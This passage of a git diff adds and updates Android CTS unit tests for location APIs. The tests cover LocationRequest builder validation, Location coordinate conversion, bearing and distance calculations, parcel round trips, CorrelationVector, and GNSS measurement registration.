+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testBuild_BadMinUpdateInterval() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setMinUpdateIntervalMillis(6000)
+                .build();
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testBuild_IllegalInterval() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(-1));
+    }
+
+    @Test
+    public void testBuild_IllegalQuality() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setQuality(-999));
+    }
+
+    @Test
+    public void testBuild_IllegalMinUpdateInterval() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMinUpdateIntervalMillis(-1));
+    }
+
+    @Test
+    public void testBuild_IllegalDuration() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setDurationMillis(0));
+    }
+
+    @Test
+    public void testBuild_IllegalMaxUpdates() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMaxUpdates(0));
+    }
+
+    @Test
+    public void testBuild_IllegalMinUpdateDistance() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMinUpdateDistanceMeters(-1));
+    }
+
+    @Test
+    public void testDescribeContents() {
+        LocationRequest request = new LocationRequest.Builder(0).build();
+        assertThat(request.describeContents()).isEqualTo(0);
+    }
+
+    @Test
+    public void testParcelRoundtrip() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_LOW_POWER)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        try {
+            request.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            assertThat(LocationRequest.CREATOR.createFromParcel(parcel)).isEqualTo(request);
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationTest.java b/tests/location/location_none/src/android/location/cts/none/LocationTest.java
new file mode 100644
index 0000000..9a7ced0
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/LocationTest.java
@@ -0,0 +1,540 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Location;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.StringBuilderPrinter;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.text.DecimalFormat;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationTest {
+
+    private static final float DELTA = 0.1f;
+    private final float TEST_ACCURACY = 1.0f;
+    private final float TEST_VERTICAL_ACCURACY = 2.0f;
+    private final float TEST_SPEED_ACCURACY = 3.0f;
+    private final float TEST_BEARING_ACCURACY = 4.0f;
+    private final double TEST_ALTITUDE = 1.0;
+    private final double TEST_LATITUDE = 50;
+    private final float TEST_BEARING = 1.0f;
+    private final double TEST_LONGITUDE = 20;
+    private final float TEST_SPEED = 5.0f;
+    private final long TEST_TIME = 100;
+    private final String TEST_PROVIDER = "LocationProvider";
+    private final String TEST_KEY1NAME = "key1";
+    private final String TEST_KEY2NAME = "key2";
+    private final boolean TEST_KEY1VALUE = false;
+    private final byte TEST_KEY2VALUE = 10;
+
+    @Test
+    public void testConstructor() {
+        new Location("LocationProvider");
+
+        Location l = createTestLocation();
+        Location location = new Location(l);
+        assertTestLocation(location);
+
+        try {
+            new Location((Location) null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDump() {
+        StringBuilder sb = new StringBuilder();
+        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
+        Location location = new Location("LocationProvider");
+        location.dump(printer, "");
+        assertNotNull(sb.toString());
+    }
+
+    @Test
+    public void testBearingTo() {
+        Location location = new Location("");
+        Location dest = new Location("");
+
+        // set the location to Beijing
+        location.setLatitude(39.9);
+        location.setLongitude(116.4);
+        // set the destination to Chengdu
+        dest.setLatitude(30.7);
+        dest.setLongitude(104.1);
+        assertEquals(-128.66, location.bearingTo(dest), DELTA);
+
+        float bearing;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(0);
+        testLocation.setLongitude(150);
+
+        bearing = zeroLocation.bearingTo(zeroLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(90.0f, bearing, DELTA);
+
+        testLocation.setLatitude(90);
+        testLocation.setLongitude(0);
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        try {
+            location.bearingTo(null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testConvert_CoordinateToRepresentation() {
+        DecimalFormat df = new DecimalFormat("###.#####");
+        String result;
+
+        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.0), result);
+
+        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(5.1), result);
+
+        result = Location.convert(-80, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(0), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(4.5), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.075), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
+        assertEquals("-80:4:30", result);
+
+        try {
+            Location.convert(-181, Location.FORMAT_SECONDS);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(181, Location.FORMAT_SECONDS);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(-80.075, -1);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testConvert_RepresentationToCoordinate() {
+        double result;
+
+        result = Location.convert("-80.075");
+        assertEquals(-80.075, result, DELTA);
+
+        result = Location.convert("-80:05.10000");
+        assertEquals(-80.085, result, DELTA);
+
+        result = Location.convert("-80:04:03.00000");
+        assertEquals(-80.0675, result, DELTA);
+
+        result = Location.convert("-80:4:3");
+        assertEquals(-80.0675, result, DELTA);
+
+        try {
+            Location.convert(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e){
+            // expected.
+        }
+
+        try {
+            Location.convert(":");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("190:4:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:60:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:4:60");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDescribeContents() {
+        Location location = new Location("");
+        location.describeContents();
+    }
+
+    @Test
+    public void testDistanceBetween() {
+        float[] result = new float[3];
+        Location.distanceBetween(0, 0, 0, 0, result);
+        assertEquals(0.0, result[0], DELTA);
+        assertEquals(0.0, result[1], DELTA);
+        assertEquals(0.0, result[2], DELTA);
+
+        Location.distanceBetween(20, 30, -40, 140, result);
+        assertEquals(1.3094936E7, result[0], 1);
+        assertEquals(125.4538, result[1], DELTA);
+        assertEquals(93.3971, result[2], DELTA);
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, new float[0]);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDistanceTo() {
+        float distance;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(30);
+        testLocation.setLongitude(50);
+
+        distance = zeroLocation.distanceTo(zeroLocation);
+        assertEquals(0, distance, DELTA);
+
+        distance = zeroLocation.distanceTo(testLocation);
+        assertEquals(6244139.0, distance, 1);
+    }
+
+    @Test
+    public void testAccessAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasAccuracy());
+
+        location.setAccuracy(1.0f);
+        assertEquals(1.0, location.getAccuracy(), DELTA);
+        assertTrue(location.hasAccuracy());
+    }
+
+    @Test
+    public void testAccessVerticalAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasVerticalAccuracy());
+
+        location.setVerticalAccuracyMeters(1.0f);
+        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
+        assertTrue(location.hasVerticalAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeedAccuracy());
+
+        location.setSpeedAccuracyMetersPerSecond(1.0f);
+        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertTrue(location.hasSpeedAccuracy());
+    }
+
+    @Test
+    public void testAccessBearingAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasBearingAccuracy());
+
+        location.setBearingAccuracyDegrees(1.0f);
+        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
+        assertTrue(location.hasBearingAccuracy());
+    }
+
+
+    @Test
+    public void testAccessAltitude() {
+        Location location = new Location("");
+        assertFalse(location.hasAltitude());
+
+        location.setAltitude(1.0);
+        assertEquals(1.0, location.getAltitude(), DELTA);
+        assertTrue(location.hasAltitude());
+    }
+
+    @Test
+    public void testAccessBearing() {
+        Location location = new Location("");
+        assertFalse(location.hasBearing());
+
+        location.setBearing(1.0f);
+        assertEquals(1.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(371.0f);
+        assertEquals(11.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(-361.0f);
+        assertEquals(359.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+    }
+
+    @Test
+    public void testAccessExtras() {
+        Location location = createTestLocation();
+
+        assertTestBundle(location.getExtras());
+
+        location.setExtras(null);
+        assertNull(location.getExtras());
+    }
+
+    @Test
+    public void testAccessLatitude() {
+        Location location = new Location("");
+
+        location.setLatitude(0);
+        assertEquals(0, location.getLatitude(), DELTA);
+
+        location.setLatitude(90);
+        assertEquals(90, location.getLatitude(), DELTA);
+
+        location.setLatitude(-90);
+        assertEquals(-90, location.getLatitude(), DELTA);
+    }
+
+    @Test
+    public void testAccessLongitude() {
+        Location location = new Location("");
+
+        location.setLongitude(0);
+        assertEquals(0, location.getLongitude(), DELTA);
+
+        location.setLongitude(180);
+        assertEquals(180, location.getLongitude(), DELTA);
+
+        location.setLongitude(-180);
+        assertEquals(-180, location.getLongitude(), DELTA);
+    }
+
+    @Test
+    public void testAccessProvider() {
+        Location location = new Location("");
+
+        String provider = "Location Provider";
+        location.setProvider(provider);
+        assertEquals(provider, location.getProvider());
+
+        location.setProvider(null);
+        assertNull(location.getProvider());
+    }
+
+    @Test
+    public void testAccessSpeed() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeed());
+
+        location.setSpeed(234.0045f);
+        assertEquals(234.0045, location.getSpeed(), DELTA);
+        assertTrue(location.hasSpeed());
+    }
+
+    @Test
+    public void testAccessTime() {
+        Location location = new Location("");
+
+        location.setTime(0);
+        assertEquals(0, location.getTime());
+
+        location.setTime(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getTime());
+
+        location.setTime(12000);
+        assertEquals(12000, location.getTime());
+    }
+
+    @Test
+    public void testAccessElapsedRealtime() {
+        Location location = new Location("");
+
+        location.setElapsedRealtimeNanos(0);
+        assertEquals(0, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(12000);
+        assertEquals(12000, location.getElapsedRealtimeNanos());
+    }
+
+    @Test
+    public void testAccessElapsedRealtimeUncertaintyNanos() {
+        Location location = new Location("");
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+
+        location.setElapsedRealtimeUncertaintyNanos(12000.0);
+        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
+
+        location.reset();
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+    }
+
+    @Test
+    public void testSet() {
+        Location location = new Location("");
+
+        Location loc = createTestLocation();
+
+        location.set(loc);
+        assertTestLocation(location);
+
+        location.reset();
+        assertNull(location.getProvider());
+        assertEquals(0, location.getTime());
+        assertEquals(0, location.getLatitude(), DELTA);
+        assertEquals(0, location.getLongitude(), DELTA);
+        assertEquals(0, location.getAltitude(), DELTA);
+        assertFalse(location.hasAltitude());
+        assertEquals(0, location.getSpeed(), DELTA);
+        assertFalse(location.hasSpeed());
+        assertEquals(0, location.getBearing(), DELTA);
+        assertFalse(location.hasBearing());
+        assertEquals(0, location.getAccuracy(), DELTA);
+        assertFalse(location.hasAccuracy());
+
+        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
+
+        assertFalse(location.hasVerticalAccuracy());
+        assertFalse(location.hasSpeedAccuracy());
+        assertFalse(location.hasBearingAccuracy());
+
+        assertNull(location.getExtras());
+    }
+
+    @Test
+    public void testToString() {
+        Location location = createTestLocation();
+
+        assertNotNull(location.toString());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Location location = createTestLocation();
+
+        Parcel parcel = Parcel.obtain();
+        location.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        Location newLocation = Location.CREATOR.createFromParcel(parcel);
+        assertTestLocation(newLocation);
+
+        parcel.recycle();
+    }
+
+    private void assertTestLocation(Location l) {
+        assertNotNull(l);
+        assertEquals(TEST_PROVIDER, l.getProvider());
+        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
+        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
+        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
+        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
+        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
+        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
+        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
+        assertEquals(TEST_TIME, l.getTime());
+        assertTestBundle(l.getExtras());
+    }
+
+    private Location createTestLocation() {
+        Location l = new Location(TEST_PROVIDER);
+        l.setAccuracy(TEST_ACCURACY);
+        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
+        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
+        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
+
+        l.setAltitude(TEST_ALTITUDE);
+        l.setLatitude(TEST_LATITUDE);
+        l.setBearing(TEST_BEARING);
+        l.setLongitude(TEST_LONGITUDE);
+        l.setSpeed(TEST_SPEED);
+        l.setTime(TEST_TIME);
+        Bundle bundle = new Bundle();
+        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
+        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
+        l.setExtras(bundle);
+
+        return l;
+    }
+
+    private void assertTestBundle(Bundle bundle) {
+        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
+        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
index 7d150cb..854e3ba 100644
--- a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -16,16 +16,17 @@
 
 package android.location.cts.none;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
-import android.app.PendingIntent;
 import android.content.Context;
-import android.content.Intent;
 import android.location.Criteria;
 import android.location.LocationManager;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.ProximityPendingIntentCapture;
 import android.os.Looper;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -43,7 +44,7 @@
     private LocationManager mLocationManager;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mContext = ApplicationProvider.getApplicationContext();
         mLocationManager = mContext.getSystemService(LocationManager.class);
 
@@ -80,15 +81,11 @@
 
     @Test
     public void testAddProximityAlert() {
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext,
-                0, new Intent("action"), PendingIntent.FLAG_ONE_SHOT);
-        try {
-            mLocationManager.addProximityAlert(0, 0, 100, -1, pendingIntent);
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mLocationManager.addProximityAlert(0, 0, 100, -1, capture.getPendingIntent());
             fail("Should throw SecurityException");
         } catch (SecurityException e) {
             // expected
-        } finally {
-            pendingIntent.cancel();
         }
     }
 
@@ -105,20 +102,6 @@
     }
 
     @Test
-    public void testGetProvider() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.getProvider(provider);
-        }
-    }
-
-    @Test
-    public void testIsProviderEnabled() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.isProviderEnabled(provider);
-        }
-    }
-
-    @Test
     public void testAddTestProvider() {
         for (String provider : mLocationManager.getAllProviders()) {
             try {
diff --git a/tests/location/location_privileged/Android.bp b/tests/location/location_privileged/Android.bp
index d595366..d4b87fc 100644
--- a/tests/location/location_privileged/Android.bp
+++ b/tests/location/location_privileged/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLocationPrivilegedTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..b14ac96
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+    private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+    @Test
+    public void testCorrelationVectorDescribeContents() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        assertEquals(0, correlationVector.describeContents());
+    }
+
+    @Test
+    public void testCorrelationVectorWriteToParcel() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        Parcel parcel = Parcel.obtain();
+        correlationVector.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+        verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateCorrelationVectorAndGetValues() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        verifyCorrelationVectorValuesAndGetters(correlationVector);
+    }
+
+    @Test
+    public void testEquals() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1, correlationVector2);
+        assertNotEquals(correlationVector1, correlationVector3);
+    }
+
+    @Test
+    public void testHashCode() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+        assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+    }
+
+    private static void verifyCorrelationVectorValuesAndGetters(
+            CorrelationVector correlationVector) {
+        assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+        assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+        assertEquals(10, correlationVector.getFrequencyOffsetMetersPerSecond());
+        assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+    }
+
+    private static CorrelationVector createTestCorrelationVector(
+            double samplingWidthMeters, double samplingStartMeters,
+                    int frequencyOffsetMetersPerSecond, int[] magnitude) {
+        return new CorrelationVector.Builder()
+                .setSamplingWidthMeters(samplingWidthMeters)
+                .setSamplingStartMeters(samplingStartMeters)
+                .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+                .setMagnitude(magnitude)
+                .build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
index fc5481e..93a6640 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
@@ -24,9 +24,12 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.os.Build;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import org.junit.Assert;
+
 /**
  * Test the {@link Location} values.
  *
@@ -67,26 +70,46 @@
     }
 
     /**
-     * 1. Get GNSS locations in low power mode.
-     * 2. Check whether all fields' value make sense.
+     * 1. Get regular GNSS locations to warm up the engine.
+     * 2. Get low-power GNSS locations.
+     * 3. Check whether all fields' value make sense.
      */
     public void testLowPowerModeGnssLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(MIN_ANDROID_SDK_VERSION_REQUIRED,
-                mTestLocationManager, TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
+
+        // Get regular GNSS locations to warm up the engine.
+        waitForRegularGnssLocations();
+
         mTestLocationManager.requestLowPowerModeGnssLocationUpdates(5000, mLocationListener);
 
-        waitAndValidateLocation();
+        waitAndValidateLowPowerLocations();
     }
 
-    private void waitAndValidateLocation() throws InterruptedException {
+
+    private void waitForRegularGnssLocations() throws InterruptedException {
+        TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(locationListener);
+        boolean success = locationListener.await();
+        mTestLocationManager.removeLocationUpdates(locationListener);
+
+        if (success) {
+            Log.i(TAG, "Successfully received " + LOCATION_TO_COLLECT_COUNT
+                    + " regular GNSS locations.");
+        }
+
+        Assert.assertTrue("Time elapsed without getting enough regular GNSS locations."
+                + " Possibly, the test has been run deep indoors."
+                + " Consider retrying test outdoors.", success);
+    }
+
+    private void waitAndValidateLowPowerLocations() throws InterruptedException {
         boolean success = mLocationListener.await();
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
-                "Time elapsed without getting the GNSS locations."
+                "Time elapsed without getting the low-power GNSS locations."
                         + " Possibly, the test has been run deep indoors."
                         + " Consider retrying test outdoors.",
                 success);
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 8136d83..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.privileged;
 
 import android.Manifest;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssRequest;
 import android.location.Location;
@@ -26,7 +27,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -89,11 +89,8 @@
      * Test GPS measurements registration with full tracking enabled.
      */
     public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.R,
-                mTestLocationManager,
-                TAG)) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -107,13 +104,35 @@
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
                 new GnssRequest.Builder().setFullTracking(true).build());
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with correlation vector outputs enabled
+     */
+    public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().
+                        setCorrelationVectorOutputsEnabled(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
